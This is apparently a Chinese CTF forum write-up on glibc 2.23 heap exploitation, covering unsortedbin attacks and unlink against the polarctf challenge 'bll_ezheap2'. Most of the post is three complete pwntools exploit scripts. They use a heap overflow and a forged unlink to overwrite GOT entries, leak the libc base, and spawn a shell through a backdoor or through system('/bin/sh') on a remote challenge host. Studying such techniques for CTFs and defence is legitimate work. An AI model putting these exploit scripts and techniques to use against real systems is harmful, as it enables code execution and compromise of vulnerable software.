Unsortedbin attack:
顾名思义,就是利用unsortedbin进行攻击/泄露,主要是进行泄露
- 可以泄露libc基址:方式大概是申请一个不属于fastbin大小范围(如果有tcache的话64位下就要申请一个大小大于0x410的堆块防止进入tcache)的堆块,free后其fd和bk指针就指向跟libc有关系的地址,如果能再申请回来并打印这个地址,就可以用这个地址减去对应的偏移泄露出libc基址。
- 攻击:简单来说就是在有UAF/堆溢出漏洞时,修改unsortedbin中一个堆块的bk指针,指向我们要写地址-0x10处,再申请这个堆块,就可以在目标地址写一个unsortedbin 的链表头部地址,这个值不受我们控制。
Unlink:
简单来说就是smallbin或者unsortedbin中的堆块合并后要进行脱链(两个堆块合并成一个了)要修改其fd和bk指针,通过伪造fd和bk指针使得其修改的指针写在我们想让他写的地方,但在有保护后就只能往原堆块的链表地址内写入原堆块的链表地址-0x18的效果了(比如有一串链表管理堆,*链表上的地址就是堆的地址,那这样的效果就是 *链表上的地址==链表上的地址-0x18)。同时需要满足fd指针为目标地址-0x18(原理就是fd指针指向的是下一个堆块的头,下一个堆块的头+0x18就是下一个堆块的bk指针,下一个堆块的bk指针一个要指向该堆块的头),bk指针要为目标地址-0x10(原理就是bk指针指向上一个堆块的头,上一个堆块的头+0x10就是上一个堆块的fd指针,上一个堆块的fd指针应该要指向该堆块的头),不过在往链表上写了之后相当于我们控制了所有堆块的起始地址,如果能编辑堆块的内容,那就可以实现真正的任意地址写(因为 *链表上的地址就是堆的地址,我们的unlink把链表上原本应该是堆块的地址改成了链接表的地址)
下面我们看例题
polarctf-bll_ezheap2
这题2.23版本的题,保护是Partial RELRO简单逆向一下如下
有后门,但是free置空了,没有uaf
但是edit函数有堆溢出漏洞
所以这题就很简单了,通过unlink往list链表写入函数的got表,通过edit改got表为backdoor即可getsell,exp如下- from pwn import *
- import sys
- from ctypes import *
- from ae64 import AE64
- from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 1
- if flag:
- p = remote('1.95.36.136',2134)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s))
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,w):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(w)
- def add(s):
- ru(b"choice:")
- sdr(1)
- ru("size:")
- sdr(s)
- at=elf.got['atoi']
- back=0x4009D5
- tar=0x6010c0
- fr=elf.got['free']
- add(0x100)
- add(0x100)
- add(0x20)
- pay=flat(0,0x101,p64(tar-0x18),p64(tar-0x10))+0xe0*b'b'+p64(0x100)+b'\x10'
- edit(0,0x110,pay)
- free(1)
- pay=0x18*b'b'+flat(at,fr)
- edit(0,0x100,pay)
- edit(1,0x100,p64(back))
- free(3)
- ti()
复制代码 这题其实没有后门也可以写,先unlink改freegot表为puts,通过house of orange的手法泄露出libc地址,然后unlink改出system函数或者onegadget即可,或者直接打house of orange也可以,我就演示一下不用后门的,house of orange会另外出文章讲,exp如下:- from pwn import *
- import sys
- from ctypes import *
- from ae64 import AE64
- from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 1
- if flag:
- p = remote('1.95.36.136',2125)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s))
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,w):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(w)
- def add(s):
- ru(b"choice:")
- sdr(1)
- ru("size:")
- sdr(s)
- at=elf.got['atoi']
- tar=0x6010c0
- fr=elf.got['free']
- puts=elf.sym['puts']
- add(0x100)
- add(0x100)
- add(0x20)
- pay=flat(0,0x101,p64(tar-0x18),p64(tar-0x10))+0xe0*b'b'+p64(0x100)+b'\x10'
- edit(0,0x110,pay)
- free(1)
- pay=p32(0)+p32(2)+p64(0)*2+p64(fr)
- edit(0,0x100,pay)
- edit(0,0x100,p64(puts))
- pay=b'b'*0x20+flat(0,0xdb1)
- edit(2,0x40,pay)
- add(0x1000)
- add(0x20)
- free(3)
- rcl()
- libcbase=u6(6)-0x3c4d78
- ph(libcbase)
- system=libcbase+libc.sym['system']
- ph(system)
- edit(0,0x8,p64(system))
- edit(2,0x30,b'/bin/sh\x00'*2)
- free(2)
- ti()
复制代码 也演示一下unsortedbin attack,这里因为没有uaf,但还可以通过堆溢出修改堆中内容,改前是这样
改后是这样
可以看到成功在我们指定的地方改出来了一个很大的数,演示的脚本如下- from pwn import *
- import sys
- from ctypes import *
- from ae64 import AE64
- from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 0
- if flag:
- p = remote('1.95.36.136',2125)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s))
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,w):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(w)
- def add(s):
- ru(b"choice:")
- sdr(1)
- ru("size:")
- sdr(s)
- at=elf.got['atoi']
- back=0x4009D5
- tar=0x6010c0
- fr=elf.got['free']
- puts=elf.sym['puts']
- add(0x100)
- add(0x400)
- add(0x20)
- pay=0x100*b'b'+p64(0)+p64(0x410)+p64(0)+p64(tar-0x10)
- dbg()
- free(1)
- edit(0,0x300,pay)
- add(0x400)
- ti()
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |